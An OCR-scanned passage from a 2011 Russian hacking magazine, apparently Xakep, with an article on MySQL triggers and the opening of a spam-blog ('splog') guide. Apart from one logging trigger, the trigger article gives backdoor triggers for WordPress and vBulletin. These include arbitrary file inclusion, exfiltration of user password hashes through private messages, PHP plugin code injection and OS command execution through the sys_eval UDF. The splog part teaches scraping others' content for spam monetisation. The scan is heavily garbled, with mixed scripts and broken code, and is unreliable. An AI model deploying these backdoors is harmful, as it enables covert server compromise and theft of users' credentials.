выполняемых действий, тем

логику приложения. Но эти же

Таким образом, клиентские приложения могут не реализовывать всякий

хранимую процедуру. Причем приложения могут быть написаны даже на

триггеров и хранимых

поддержкахранимыхпроцеду~

SQL-

инструкций, который компилируется один раз и хранится на серве р е.

описание компиляции

• bjt.ly/гn025q ­

В

Что представляют собой хранимые процедуры? Это набор

и для того, чтобы отслеживать проникновения в СУБД и наоборот неза­ На нашем диске

тьr сможешь найти nодробное обучающее видео ко всем описанным

в статье примерам использования триггеров.

метно встроить в базу данных бэкдор.

НЕОБХОДИМОСТЬЛОГИРОВАНИЯ Во время проведения аудита скриптов И Б-специалисты в основном

обращают внимание на то , как хорошо фильтруется пользовательский ввод, а данным из БД они обычно доверяют.

ХАКЕР

11 / 154/ 2011


Бэкдор в БД

Trigger - [mytпgger on

taьte1]-

[test on MERLIN:5149] DD.Ь. 1

Dependenges

Object

c__j~§t:Q~::м:~~8.~:iN::~R mytrigger on tаЫеМ

rаые

~ame

mytrigger

Definer

tester@%

Туре

General

t;}

On event Q мer

@ Before

~ Refresh

@ lnsert

Q Update

Q Delete

Q.efinition

Compile

BEGIП

1

'~• Debug Trigger ...

EXISTS ( SELECT * FROМ ' taЬlel ' SET NEW . f2 = 1 ; ELSE SET NEW . f2 ( SELECT lo!AX ( f2 ) FROМ ЕПD IF ; IF

2 3

Print

4

~ Show SQL help

5

~ Restore default size

6

<l

пот

)

ТНЕП

' taЬlel ' )

+ 1;

ЕПD

7

~

)

1:

Создание нового триггера в

tаЫе1

ll 1nsert

11

11 Highlighting

11 Unicode (L

EMS SOL Manageг

Учитывая это обстоятельство , нужно либо самому тщательно либо создать скрытый механизм легирования, который запишет

'user_pass' VARCHAR( 64 ) NOT NULL , 'timestamp' TIMESTAMP NOT NULL , PRIMARY КЕУ ( 'id' )

все действия злоумышленника в случае несанкционированного

);

изучать используемый софт на предмет различного рода атак,

доступа в базу данных и тем самым даст возможность оператив-

но и четко пофиксить обнаруженную дырку. Легирование играет огромное значение как на этапе разработки приложения, так и на этапе его поддержки. При этом сам сервер

MySQL

не дает воз­

Таблица wplog будет находиться в базе test, а база блага в нашем случае обозначена как woгdpгess. Сам триггер будет иметь такой вид:

можности гибкой настройки легирования запросов к БД . Выход реализовать его самому, при помощи триггеров.

Предположим, что хакер получил прямой доступ в базу попу­ лярного благоеого движка WoгdPгess. Первое, что захочет сделать злоумышленник,- это почти наверняка смена хэш а админского пассворда.

Данное действие позволит спокойно пройти в админку и, при удачном стечении обстоятельств, внедрить свой код в плагины, если они, конечно, доступны для редактирования. Ведь расшифровка хэш а админа- занятие малоприятное, так как

WP использует до­

CREATE TRIGGER 'wp_log' BEFORE UPDATE ON 'wordpress' . 'wp_users' FOR ЕАСН ROW BEGIN IF NEW.user_pass!= '$P$B9v9rCvKUXneМDBnlvCa074EtBG77hM' THEN SET @pass = NEW.user_pass; INSERT INTO 'test' . 'wplog' SET 'user' = USER(), 'user_pass' =@pass; END IF; END;

статочно криптастойкий алгоритм для хэширования, таким образом,

перебор будет идти крайне медленно. Предлагаю написать триггер, который будет следить за состояни­

Из кода триггера видно, что он следит за таблицей wp _ useгs и, если кто-то редактирует эту таблицу, меняя установленный

ем хэша и, в случае его изменения, внесет в дополнительную таблицу

х эш админа, в таблицу wplog будут занесены данные об этом

время изменения, имя пользователя, который менял хэш, и то значе ­

изменении. Преимущества такого легирования понятны. Мы

ние, на которое хэш меняли.

следим только за такими местами в базе, которые представля-

Сначала создадим таблицу, в которую будем писать лог. Здесь

ют для нас интерес , и при этом ловим не все запросы, а только

очевидно, что наш триггер будет иметь доступ в эту таблицу, а поль­

потенциально опасные, как бы эти запросы ни были сделаны ,

зователь, который прописан в конфиге вордпресса, доступа к данной

напрямую из базы или через какие-либо рhр-скрипты . Также , если

таблице иметь не будет и даже не будет догадываться о самом ее

мы правильно распределили права для пользователей сервер а

существовании:

MySQL, то

злоумышленник, прочитавший конфиг вордпресса и

таким образом попавший в базу, никак не сможет определить, что

CREATE TABLE 'wplog' 'id' INT NOT NULL AUTO_INCREMENT , 'user' VARCHAR( 28 ) NOT NULL ,

ХАКЕР

11 /154/2 01 1

за его действиями тщательно следят. Наличие данного триггера не учитывает тот вариант, когда хакер добавляет нового админа в благ. Правда , добавление админа в вордпрессе- это гораздо

057


взлом

ТРОЯНИМ

БЕЗОПАСНОСТЬ

WORDPRESS

Теперь рассмотрим некоторые способы хакерекого применения

VBULLETIN 3

триггеров при установке различных бэкдоров . Для простоты по­ нимания в наших исследованиях мы будем использовать довольно

старый WoгdPгess версии За годы своего существования

vBulletin 3 заслужил реnутацию

же наткнемся в таблице

очень грамотно написанного форумного движка. Несмотря на то

2.5.1. Заглянув в его базу, мы сразу wp _options на некие пути к локальным

файлам:

что он является nлатным продуктом, поисковый запрос «Poweгed

Ьу

vBulletin >> в Google выдает более 2 миллиардов совпадений, а

act i ve_p l ugi ns

a: l :{i: e ;s: 19 : "akismet/akismet . php" ;}

список выявленных ба го в I Ьit.ly/ovMKX1 )- всего пару десятков на версию. Тем не менее, и у этого движка есть свои интересные ба г и , к

Как уже отмечалось выше , на такие места нужно обращать

одному из которых можно отнести раскрытие данных из конфига при

внимание в первую очередь, а в данном случае -тем более, так как

отправке специально сформированного поискового запроса. Более

здесь указаны пути к плагинам. Ясно, что посредством аддонов про­

подробно об этомбагеты сможешь прочитать по ссылке Ьit.ly/dBгtaA .

исходит расширение функцианала блога, то есть файлы плагинов ин­

Также советую тебе обратить внимание на последние SОL-инъекции

клудятся в основное ядро движка. Несложно понять, что происходит

движка, их описание можно найти на известном сайте

это в сценарии ./wp-settings.php. В WP версии 2.5.1 инклуд плагинов

exploit-db.com .

происходит следующим образом :

i f ( get_option( 'active_plugins' ) { $curreпt_p l ugins = get_option( 'active_plugins' ); i f ( is_array($current_plugins) ) { foreach ($current_plugins as $plugin)

более сложная операция, чем смена пароля у существующего, так как необ х одимо внести соответствующие изменения еще и в

таблицу wp _ useгmeta. Конечно, при серьезном подходе к вопросу логирования нежелательных запросов в базе данных следует грамотно ее проанализировать и выявить те ячейки, редакти­ рование которых может привести к серьезным последствиям, а

{

затем попытаться либо исправить это, либо установить за такими

i f ( '' != $plugin && file_exists( ABSPATH.PLUGINDIR . '}' .$plugin)) include_once (ABSPATH.PLUGINDIR. '/' .$pl ugin);

ячейками наблюдение. Также хочу дать совет, чтобы при анализе базы данных ты в первую очередь обращал внимание на те ячейки, в которых присутствую т пути к файлам или обрывки РНР-кода.

Размышляя о логировании запросов, не могу не вспомнить и о такой замечательной разработке, как

}

MySQL Ргоху. Обычно эту

программу применяют при masteг-slave репликации, что дает воз­ Исходя из поверхностного анализа этого кода, становит-

можность прозрачно для клиента проксировать запросы нескольких

slave & master серверов. MySQL Ргоху также может логировать сами

ся ясно, что никакого особого контроля при инклуде плагинов

запросы, а затем обрабатывать их. Возмож н ости этого прокси можно

разработчики не предусмотрели. Тем самым здесь мы можем с

довольно сильно расширить с помощью сценариев на языке

легкостью прописать путь к любому стороннему файлу. В nосле­

lua, что

предоставит возможность выполнения команд операционной систе­

дующих версиях вордпресса 12.8 и выше) это уже было исправлено

мы с помощью отсылки прокси-запросов с

путем добавления различных проверок, не дающих провести

MySQL

клиента. Подроб­

нее об этом можно прочитать здесь: Ьit.ly/rcxQxl .

? Show : Sor1

Page number: В

~

nодключение посторонних файлов. Однако мы рассматриваем

>

>>

row(s) stat1ing from row #

Ьу key: 1 None

!so

1 in 1 horizontal

v

1mode

and repeat headers after

Ю cells

v

+ Options +-Т-+

opti011_id

Ыog_id

optio11_11aщe

optio11_val11e

a11toload

о

Edit

lnline Edit ~с Сору О Oelete

31

о

permalink_stru cture

о

Edit

lnline Edit ~с Сору О Oelete

32

о

gzipcompression

о

yes

D

Edit

lnline Edit ~с Сору О Oelete

33

о

hack_file

о

yes

о

Edit

lnline Edit ~с Сору О Oelete

34

о Ыog_charset

UTF-8

yes

о

Edit

lnline Edit ~с Сору О Delete

35

о

moderation_ke ys

о

lnline Edit ~с Сору

Delete

36

о

active_plugins

а : 1:{i:O; s: 19: "akismet/akismet.php";}

yes

о

lnline Edit ~с Сору О Delete

37

о

home

http://localhost/wp32

yes

Мес то инк луда п лагинов в базе бла г а на

058

yes

no

WordPress

ХАКЕР

11/154/20 11


Бэкдор в БД

TRIGGER_NAME EVENT_MANIPULATION

EVENT_OBJECТ_CATALOG

EVENT_OBJECТ_SCHEMA EVENT_OBJECТ_TABLE ACТION_STATEMENT

vb_pluggin

INSERT

def

wp271

post

BEGIN IF NEW.pagetext = 'mynewtestdata' Т Н ...

vb_users

UPDATE

def

wp271

post

BEGIN IF NEW.pagetext = 'getadminsdata' ТН ...

up_pluggin

INSERT

def

wp32

wp_comments

BEGIN IF NEW.comment_content = wpadminadd ...

wp_log

UPDATE

def

wp32

wp_users

BEGIN IF NEW.user_pass 1= '$P$89119rCvKUXn...

Так можно просмотреть созданные триггеры

версию

2.5.1

и вполне можем воспользоваться таким << умелым >> ко­

дом, написав специальный триггер, инклудящий указанный нами

~ -.I!Ш./Ф@jф• i:iт

файл при добавлении комментария на благ с секретным словом

<<w paddplugin >>:

MySQL

Prox~ .· .· ..···· .. .. .... .. ....... .... .· J·· . ·. . ·.

CREATE TRIGGER 'up_pluggin' BEFORE INSERT ON 'wordpress' . 'wp_comments' FOR ЕАСН ROW BEGIN IF NEW.comment_content = 'wpaddplugin' THEN UPDATE 'wordpress' . 'wp_options' SET 'option_value' = 'a:l:{i:e;s:17: " .. / .. / .. /e/hi.php";}' WHERE 'wp_options' . 'option_id' =36 ; END IF; END; Вместо пути << ..1. ./. ./e/ hi.php >> также можно указать путь к лагам веб-сервера, если они доступны для чтения средствами

php, или

п у ть до картинки, в ЕХIF-поле которой внедрен рhр-код. Вариантов может быть масса. Другие примеры триггеров для вордпресса ты с можешь отыскать на форуме гdot.oгg .

ТРИГГЕР ДЛЯ VBULLEТIN

..-•--D

Результатом всевозможных манипуляций с базой данных может быть не только выполнение произвольнога кода на сервере, но также и

набор

Client

результатов

MySQL Server (не используется)

раскрытие конфиденциальной информации юзеров, что является сильной угрозой для безопа с ности приложения. Для примера давай рассмотрим один из вариантов скрытого получения данных пользо­

Картинка, поясняющая выполнение системных команд с помощью

MySQL Proxy

вателей форума

vBulletin 3.

Предположим, что у нас есть аккаунт на форуме и мы можем

отсылать/получать приватные сообщения, а также создавать и редактировать посты. Для получения пары логин:хэш мы напишем триггер, который в случае редактирования поста с определенным

ДОСТУП ЕСТЬ. ЧТО ДАЛЬШЕ?

содержанием будет изменять при с ланное нам личное сообщение с темой

Тут встает закономерный вопрос: что же может сделать злоумышленник после получения прямого доступа к

MySQL?

Если

у него есть привилегия

FILE, то он вполне сможет залить шелл 777 с помощью всем известной конструкции «SELECТ ... INTO OUTFILE ... » .Но привилегия FILE присутствует далеко не всегда. Зачастую доступна лишь в доступную извне директорию с права ми

возможность редактирования ячеек определенных таблиц, которая, тем не менее, дает прекрасную возможность для проникновения

<< aj4x >> вставляя в него данные из таблицы useг:

CREATE TRIGGER 'vb_users' BEFORE UPDATE ON 'vb' . 'post' FOR ЕАСН ROW BEGIN IF NEW.pagetext 'getadmindata' THEN SET @my_user = NEW.title; SET @data = (SELECT concat(username, ': ' ,password, ': ' ,salt) FROM user WHERE username=@my_user);

на сервер с помощью изменения хэша пароля админа или инклуда

злонамеренны х файлов через БД !многие CMS берут пути к плагинам, темам или языкам напрямую из базы!.

ХАКЕР

11 / 154/2 011

UPDATE 'vb' . 'pmtext' SET 'message' WHERE 'pmtext' . 'title' = 'aj4x' ; END IF; END;

@data

059


взлом

КРАТКИЙ ЛИКБЕЗ ПО ХРАНИМЫМ ПРОЦЕДУРАМ И ТРИГГЕРАМ Есть две ситуации, когда хранимые nроцедуры

следующих оnераторов: INSERT, LOAD DATA

не н в любом случае , а если в AFТER, то только в

могут оказаться особенно nолезными:

или REPLACE .

случае заnроса, активизирующего триггер.

1.

2.

Существует нескольких клиентских

Событие UPDATE означает, что в таблице

nриложений, наnисанных на различных

изменяется некоторая с трока , то есть

языках и обязанных выnолнять одинаковые

исnользуется оnератор UPDATE.

оnерации с базами данных;

Событие

Необходимо обесnечить доnолнительную

в таблице, что может быть реали з овано с

безоnасность nриложения [nользователи

nомощью оnераторов DELETE и REPLACE.

3. tгiggeг _event- одно из следующих событий: INSERT, UPDATE, DELETE. 4. tЫ_ name- имя таблицы, к которой nрикреnлен

DELETE реализует удаление строк

триггер .

5. tгiggeг _body-SQL-onepaтopы, которые будут выnолнены nри срабатывании триггера.

не nолучают неnосредственный достуn к таблицам базы данных и могут выnолнять

только конкретные хранимые nроцедуры).

При работе с триггерами и хранимыми

Следует учитывать, что инстру кции DROP TABLE и TRUNCATE отно с ительно таблицы

nроцедурами также не стоит забывать о

не активизируют триггер , nотом у что они не

довольно большом сnиске ограничений [nолный

Хранимые nроцедуры nоявились в версии

исnользуют DELETE. С nомощью триггеров можно

сnисок таких ограничений ищи no ссылке в

MySQL 5.0.2. Помимо этого СУБД стала

реализовать nроверку целостно с ти данных ,

сносках) .

nоддерживать разновидность хранимых

логирование, а также установку скрытых бэкдоров

При создании хранимых nроцедур нужно

nроцедур- триггеры, которые автоматически

в веб-nриложениях . Для создания триггера в

учитывать следующие моменты:

вызываются nри настуnлении в базе данных событий INSERT, UPDATE и DELETE. Для

MySQL версий до 5.1 .6 нужны nривилегии SUPER, nосле 5.1.6- nривилегия TRIGGER.

создания хранимой nроцедуры, функции или

Синтаксис триггера довольно nр о ст:

работать. Это можно сделать с nомощью

CREATE [DEFINER = { nользователь 1 CURRENT_USER }] TRIGGER trigg_name trigg_time trigg_event ON tЫ_name FOR ЕАСН ROW trigger_body

указания всех таблиц в явном виде <«имя

1.

к которой они относятся и с которой будут

триггера исnользуются оnераторы CREATE

PROCEDURE, CREATE FUNCTION и CREATE TRIGGER соответственно. Вызов хранимой nроцедуры nроисходит с nомощью оnератора

CALL . Функции вызываются из оnераторов

Лучше наnрямую указывать базу данных,

конструкции

<<USE <имя базы данных»> или

базы данных>.<имя таблицы»>.

2.

точно так же, как и любые другие функции, то

При исnользовании множественных оnераторов в теле nроцедуры необходимо иметь возможность отсылки строк заnросов,

есть через указание имени функции [данный

Основные nара метры, которые н ужно з адать nри

содержащих разделитель '; '. Если мы

факт вnолне может быть исnользован в SQL

создании триггера, это:

работаем через консоль, то добиться

инъекциях), а триггеры вызываются сами, если

1.

в БД настуnило некоторое событие [INSERT,

UPDATE, DELETE), nозтому для нас они будут nредставпять наибольший интерес. Введу

tгiggeг _name- имя триггера , фактически

этого можно с nомощью исnользования

можетбытьлюбы м.

команды <<delimiter>>. Если же мы работаем в

2. tгiggeг _time- время, когда триггер будет вы­ nолнен. Тут возможны два з начения : BEFORE и

nоnулярном менеджере баз данных phpMyAdmin, то новый разделитель можно nросто

AFТER, соответственно, до или nосле заnроса.

указать в nоле <<Разделитель >> nри создании

Событие INSERT означает вставку новой

Здесь важно отметить, что, если мы выставили

nроцедуры, команду <<delimiteг>> в этом случае

строки в таблицу и реализуется одним из

tгiggeг _time в BEFORE, то триггер будет вы nол-

исnользовать не нужно.

уточнения:

Как видно из тела триггера, в соответствующем nереональном

дамnы. После изучения различий сделанных на nредыдущем шаге

сообщении мы сможем найти авторизационные данные любого

дамnов становится ясно, что nлагин с именем

зарегистрированного на форуме nользователя. Данный nрием можно

код

nрименять nрактически для любого форума, работающего с

MySQL 5.

aj4x, содержащий <<print_r(ini_get_all{)) >>, будет создан nосле выnолнения следующих SQL заnросов:

Для этого нужно всего лишь найти таблицу с авторизационными данными юзеров и таблицу с текстами nереанальных сообщений. При исnользовании триггеров нас не сильно интересует логика форумного движка, так как все маниnуляции nроисходят на уровне базы данных .

INSERT INTO 'datastore' VALUES ( 'pluginlist' , 'a:1:{s :13: "ajax_complete";s:25: "print_r(ini_get_all() ); \r\n\";}' ,

1 ); КРОШИМ «БУЛКУ» Также триггеры дают нам nрекрасный шанс nо-новому осмыслить давно известные уязвимости. Наnример, в админ-nанели форума

INSERT INTO 'plugin'

РНР-кода в nлагины. Этот факт можно рассматривать как гибкий

( 'pluginid' , 'title' , 'hookname' , 'phpcode' , 'product' , 'devkey' , 'active' , 'executionorder' )

инструмент для админа по расширению функцианала форума, но

VALUES

мы, конечно же, будем рассматривать его как уязвимость:). В дан­

( 1 , 'aj4x' , 'ajax_complete' , 'print_r(ini_get_all());' , 'vbulletin' ,

vBulletin 3 nрисутствует возможность вставки nроизвольнога

ном случае такая уязвимость будет классифицироваться как «post

auth Admin Panel Code Execution >>. Как ты уже должен был nонять,

1 , 5);

создавать nлагины с РНР-кодом можно не только из админки, но также и через базу форума. Чтобы nонять, как это сделать из базы, тебе вовсе не нужно изучать километры кода, а необходимо

При этом, если мы обратимся к файлу vb foгuma . net/ajax . php , то наш код в nлагине усnешно выnолнится! Такую технику вnолне

и достаточно сделать два дамnа БД: дамn, когда nлагинов еще

можно исnользовать для создания триггера, который в случае

нет, и дамn сразу nосле добавления любого nлагина с nомощью

чего nозволит выnолнить код на нужном нам форуме . Однако

оnисанного выше триггера. Затем тебе необходимо сравнить эти

оставлять nлагин с nодозрительным рhр-кодом на долгие годы в

060

ХАКЕР 11 / 154/ 2011


Бэкдор в БД

СТАРЫЕ ТРЮКИ С

LIB_MYSQLUDF _SYS

UDF

·~-...~~ 1- e~r~utes

~У."

.. ~...- - @XKUt~ an a rЫtrary

и в более ранних версиях MySQL [еще до появления хранимых

т

?,.,. - get!O ttle value. of o.n envlronment Yart.1Ыe.

процедур в этой СУБД! для поддержки так называемых UDF

• ~~- ~t •

Важно отметить, что оператор

CREATE FUNCTION использовался

an arЬitrarv command, and I'@'Wms lt's output. comm.1nd, and returns lt''!l ~xlt code.

crute an envlronment

varlaЫe,

or upd.JI.c the value of an eal5ting en Yironment

Yilllri<IЬie.

[определенные пользователем функции!. UОF-функции продолжают поддерживаться

MySQL и могут рассматриваться

как внешние хранимые функции . В отличие от обычных хранимых

rp_ev11l -'Y=_c•<Jl tlkes

ом

c;omm.and wtng

iii''IJUПient

1nd

• • кutes

lt. Jeturnlng 11:5 outpyt.

функций, которые по сути состоят из нескольких SQL-операторов,

UDF-функции могут значительно расширять функциональность СУБД . Несколько лет назад широкой публике был представлен

Описание б иблиотеки

lib_mysqludf_sys на

с айте

mysqludf.org

эксплоит, представляющий собой UDF-функцию, которая позволяла выполнять команды операционной системы. Все зто относилось к

MySQL 4- пятой версии тогда еще просто не было. Со

временем подобная функциональная была реализована во вполне легитимном модуле

LIB_MYSQLUDF_SYS,

который сейчас доступен

для загрузки со специального ресурса, посвященного

FOR ЕАСН ROW BEGIN IF NEW.pagetext = 'mynewtestdata' THEN SET @exists_plugin = (SELECT data FROM 'vb' . 'datastore' WHERE 'datastore' . 'title' = 'pluginlist' );

UDF-

фунциям [ mysqludf.oгg l. Библиотека включает в себя ряд функций , позволяющих взаимодействовать с операционной системой, на которой запущена СУБД . Учитывая простоту в установке

UDF-

UPDATE 'vb' . 'pmtext' SET 'message' = @exists_plugin WHERE 'pmtext' . 'title' = 'aj4x' ;

функций, это вполне реальный способ получить доступ к системе.

Делается это так:

1.

DELETE FROM 'vb' . 'datastore' WHERE title= 'pluginlist' ;

Достаточнолишь с качать с указанного выше сайта [или с нашего

диска! архив lib_mysqludf_sys_O.O.З . taг.gz, найти там уже скомпи­ ленный бинарник и скопировать его в диpeктopию/usг/lib/mysql/ plugiпs.

INSERT INTO 'vb' . 'datastore' VALUES ( 'pluginlist' , 'а :1:{s:13: "ajax_ccщ:>lete"~s :23: "print_r(ini_get_all() ); ";}' , 1 );

2. Далее в базе данных необходимо выполнить следующую команду: DELETE FROM 'vb' . 'plugin' ; CREATE FUNCTION sys_eval RETURNS striпg SONAME 'lib_mysqludf_sys.so' ; 3. После чеготебе станет доступна функция sys_eval, позволяющая выполнитьлюбую системную команду:

select sys_eval ( 'id' ) uid=60(mysql) gid=107(mysql) groups=107(mysql),e(root) Данный способ вроде бы всем хорош, однако, в нем есть одно большое но: директории, в которых нужно размещать файл

lib_ mysqludf_sys.so, доступны на запись только суперпользователю, позтому этот вариант можно рассматривать только как установку

INSERT INTO 'vb' . 'plugin' ( 'pluginid' , 'title' , 'hookname' , 'phpcode' , 'product' , 'devkey' , 'active' , 'executionorder' ) VALUES ( 1, 'aj4x' , 'ajax_complete' , 'print_r(ini_get_all());' , 'vbulletin' , " , 1, 5); END IF; END~

Связав данный триггер с базой форума, создав на форуме пост с

бэкдора, а не вектор атаки. Хотя, конечно, если админ накосячил

секретным словом <<myпewtestdata >> и затем обратившись к скрипту

справами [например, директория /usг/lib/mysql/plugiпs имеет

ajax.php, мы увидим, что код, добавленный нами в плагин , успешно

права

выполнится!

7771,

а мы при этом имеем доступ в базу с привилегией

FILE, то вполне можем попытаться создать файл lib_mysqludf_ sys.so с помощью всем известной конструкции <<SELECT .. .. INTO OUTFILE ». Также, если данный файл будет скомпилен

Понятно, что для использования любых трюков с триггерами и

на похожем сервере, то с большой долей вероятности можно

хранимым процедурами есть важное условие- у нас уже должен

ВМЕСТО ЗАКЛЮЧЕНИЯ

ожидать успешного выполнения системных команд и на целевой

быть доступ к СУБД. Для этого необходимо лог ин и параль какого­

машине . Использовать функцию

либо MySQL-юзepa. Зачастую данные для соединения с сервером

sys_eval

нам может помешать

программный инструмент упреждающей защиты АррАгmог, но,

БД просто хранятся в РНР-скриптах в открытом виде. Даже если

если у нас есть рутовый доступ, это препятствие очень легко

веб-приложение накрыто Zепd'ом или закриптовано loпCube,

обойти, ссылку на способ обхода ищи в сносках .

конфиг, где обычно прописывают лаги н и параль от базы данных, остается доступен для редактирования, чтобы уже сам конечный пользователь мог вносить в него необходимые изменения. Поэто­ му, если злоумышленник каким-либо образом может читать файлы

базе форума не является правильным решением, так как это легко

на сервере, то, скорее всего, он найдет и конфиг с доступами к БД.

может заметить админ. При создании триггера надо учитывать

Далее, если в базу пускают откуда угодно, а не только с

те плагины, которые уже были в базе данных до нашего инжекта,

или на том же сервере находится специализированный софт для

localhost,

поэтому удачный код триггера в таком случае будет выглядеть

работы с БД [например, тот же самый phpMyAdmiпl, то, получив

примерно так:

данные из конфига приложения, хакер вполне может попасть и

CREATE TRIGGER 'vb_pluggin' BE FORE INS ERT ON 'vb' . 'post'

условии проникновения на хает зачастую не является сверхслож­

в саму базу данных . Короче говоря, получение доступа к БД при

ХАКЕ Р

11 /154/2011

ной задачей. ::Х:

06 1


вэпом

RushteR (rushter.coml

ess от А до Я

на Word

AKCOЗiJ.ATb

СВОЙ nlfP.BЫЙ СПАМ-БЛОГ И НА НЕМ ЗАРАБОТАТЬ Если у тебя есть свой сайт или блог, то ты наверняка мог заметить, как другие

сайты автоматически копируют твой контент, тем самым отнимая твоих

• Известный форум о доменах: gQ!МJ)J.QrJHJ1.fi~l • Известный SEO форум: ~~·LY

• Сервиспроверки траста xt Яндексе:

ШШц • Интересный блоr о за раб интернете:

'

~ _р

• Качественный nоказатель посещаемости сайта :

i!l~~

• Сплоrи Q.i! yjor

на Википедии:

Сервисы

AddUrl

~·.., · ~

•Google: •GoGo: •WebAita:

сплогами. Если быть точнее, то это

• Yahoo:

за счет других ресурсов. Как они

создаются?

или аддурилки:

•Яндекс:

посетителей. Такие сайты называются

обычные паразиты, зарабатывающие

в

•RamЫer:

tlr

( 1 \

\


Сплоги на WordPress от А до Я

О МЕНЫ Минимум теории . Сплог- это сайт-блог, созданный для раскрут-

Следующий вопрос - выбор домена для сплога. Тут есть два пути:

ки других сайтов. По своему виду он похож на обычный блог, но

регистрация свежих или покупка драп-доме н ов. Со свежими домена­

основное отличие заключается в контенте, который не является ни

ми проблем воз н икнуть не должно: тут все стандартно. Могу только

качественным, ни уникальным. Как правило, содержание сайта сге­

посоветовать выбирать зону, исходя из языка , под который делается

нерировано полностью автоматически с использованием RSS-лент

сплог. Также преимуществом будет упоминание тематического слова

или прямого парсингадругих ресурсов . В целом же схему создания и

в имени домена. Интереснее ситуация с « дропами >>. Это домены,

монетизации такого сайта можно описать в 7 шага х:

не продленные бывшим хозяином и, таким образом, доступные для

1. 2. 3.

Создается сплог;

регистрации любому желающему. «За чем нужен дроп? >>, - можешь

Идет быстрое или постепенное наполнение сплога

с просить ты . Все просто: сайт, находившийся на этом домене, имел

чужим контенто м;

о пределенный уровень доверия со стороны поисковых систем за счет

Выбираетсяпутьзаработка[баннеры,партнерки,

входящих на него ссылок, то есть при новой регистрации эти ссылки

продвижение други х сайтов и т.п.l;

перейдут к новому хозяину. А это многого стоит!

4. Ус танавливаются соответствующие с крипты для выбранного

Для поиска можно воспользоваться замечательным бесплатным сер висом justdгopped.com . Но советую не мучиться с поиском дропов,

пути за работка;

5. Начина е тся раскрутка сплога в поисковых системах; 6. Сплогумирает; 7. Переходим обратно к пункту 1.

а просто найти людей, которые продают информацию о таких до­

менах за деньги. П ри использовании дро п ов нужен начальный опыт, так как есть большой шанс потратить де н ьги в п устую, п оэтому сразу начинать с них не стоит. Простой имей это в виду.

В этом материале я хочу коснуться аспекта создания сплога и его

КОНТЕНТ

монетизации. И первое, с чего мы начнем,- э то выбор платформы

Основная идея сплога в том, что контент для него генерируется

для размещения сп лога.

автоматически [или полуавтоматически!. Основным источником

ПЛАТФОРМА

ко нтента для с плогов являются RSS-фиды. Обычно их используют

Есть два варианта : бесплатные блогохостинги или собственный

<< как есть >>, но бывают случаи, когда контент проходит синонимиза­

хос тинг со своими доменами . В качестве блогохостинга ты можешь

цию, ручную редакцию или автоматический перевод. Если нужны

использовать Ыoggeг.com , livejouгпal.com или woгdpгess.com . Эти сер­

долгоживущие сплоги, то для начала лучше заказать копирайтили

висы являются бесплатными и самыми популярными среди сплогеров.

рерайт 10-15 статей у людей на специализированных форумах и

У ни х есть два огромных п люса: бесплатное использование и доверие

запостить полученные тексты вручную на свой спло г в течение

со стороны поисковых систем. Однако есть и серьезные минусы :

месяцев. Уникальный ко н тент п оможет спло г у набрать п ервоначаль­

1.

Наличие неиллюзорной вероятности получения ба на за агрегацию

ный траст, тем самым спло г станет белее в глазах поисковых систем.

В качестве оптимального варианта подойдет контент о д инаковой

контента из др у гих источников;

2. Отсутствие возможности подключения плагинов, облегчающих 3.

1-2

тематики, собранный с большого количества те матических ресурсов

работу сплогера;

и разбавленный анонсами. Грубейшая ошибка-парсингвсего лишь

Потребность в соф те для пастин га .

пары-тройки новсетных сайтов. Такие сплоги будут забанены в тече­

Более опытные сплогеры используют собственный хос тинг и

систем. Начинать с большого количества постов не стоит, вначале

ние пары месяцев, а могут и вообще не попасть в индекс поисковы х домены. В качестве хости нга оптимальным решением будет исполь­ зова ние

нужно размещать не больше одного поста в день , а затем постепен­

vds или своего сервера, так как владельцы shагеd-хостингов

но наращивать объемы постинга. Помимо классических сплогов

с большой вероятностью попросят сплогера съехать из -з а большой

существуют и другие их виды. Например, когда в качестве контента

нагрузки, генерируемой сплогами. Лучше заранее обезопаситься от

используются товары из интернет-магазинов. Такие сплоги отлично

таких проблем. Также не стоит забывать и об авторских правах. Если

генерируют продажи в партнерских программах. К сожалению, бес­

парсить серьезные источники, то могут прийти а бузы [официальные

платных вариантов д ля наполнения таких сплогов не существует, но

жалобы! от правообладателей. Очевидно, что злить их не стоит,­

можно попытаться найти специализированные проги tЬрЗ или

л е гче всего просто удалить запрошенные авторами записи.

на простерах Сети.

ПОЛЕ ЗНЫЕ ДЛЯ СПЛОГА П ЛАГИНЫ

BRush

WORDPR ESS

Xmlsite map

Platinum Seo Pack

WP Super Cache

Popular Posts

Simple Tags

b jЦ y/9Kcq9Z

bjt.ly/QGOMs

Ьj t.J y/2JRrnaq

.!ill.1YLfiQ1

Ьit.J y/1IдGjC

Данный плагин генерирует

Этот плагин улучшает в ну-

Плагин, снижающий на-

Плагин, который улучшает

Плагин для автоматическо-

Х МL-карту сайта и помога-

треннюю SЕ-оптимизацию

грузку на хостинг. Когда

внутреннююперелинковк~

го создания и оптимизации

етускорить индексацию на

твоего блага и занимает

количествотвоихсплогов

Он выводитсамые популяр-

меток.Позволяетподби-

первых пора х, что да с т по-

второе место по важности в

перевалитза 10, то WP Supeг

ные статьи твоего сплога в

рать метки и создавать из

н ять поисковым системам,

делесозданиясплога.Сре-

Cache поможетс у щественно

сайдбаре, тем самым пере-

них такназываемоеоблако

какие страницы важнее.

д и функций: канонические

сэкономитьрасходование

давая вес с главной стран и-

тегов. Также улучшает в ну-

Его установка пр оста, до-

ссылки, оптимизированные

ресурсов. Он может кэширо-

цы на них . Твой шаблон дол-

треннюю перелинковку, тем

статоч нолишь а ктивиро-

заголовкистраниц,генера-

вать некоторые динами-

жен поддерживать виджеты

самым увеличивая трафик.

вать плагин.

ция мета-тегов, перманент-

ческие функции движка и

[и настраивается на вкладке

Облакоустанавливается в

ный редиректна изменен-

выдаватьнекорректную

настроек виджетовl.

области виджетов .

ные адреса страницы.

информацию на страницах.

ХАК ЕР

11/154/2011

063


взлом

ПОИСК RSS-ЛEHT Не стоить брать чужие сnиски лент- их нужно собирать самому. Одинаковые сnиски лент на всех сnлогах- nлохое решение. Найти

СПОСОБЫ МОНЕТИЗАЦИИ СПЛОГОВ

RSS-ленты можно в различных каталогах i subscгibe . гu/ca t alog / ?гss. гsspoгtal.гu ]. При отборе лент обязательно nроверять их на nолноценность nостов,

1.

Установка кода контекстной рекламы.

ибо некоторые движки nостят только анонсы статей в RSS, а нужны

В качестве контекстной рекламы лучше всего исnользоватьGооglе

ленты с nолными статьями. Источники обязательно должны со­

Adsense. Здесьстоитучесть, чтотакиесnлогидолжны выглядеть

вnадать с тематикой сnлога и не иметь одинаковых статей. К выбору

максимально качественно, иначе можно остаться без выnлат. Сnлоги ,

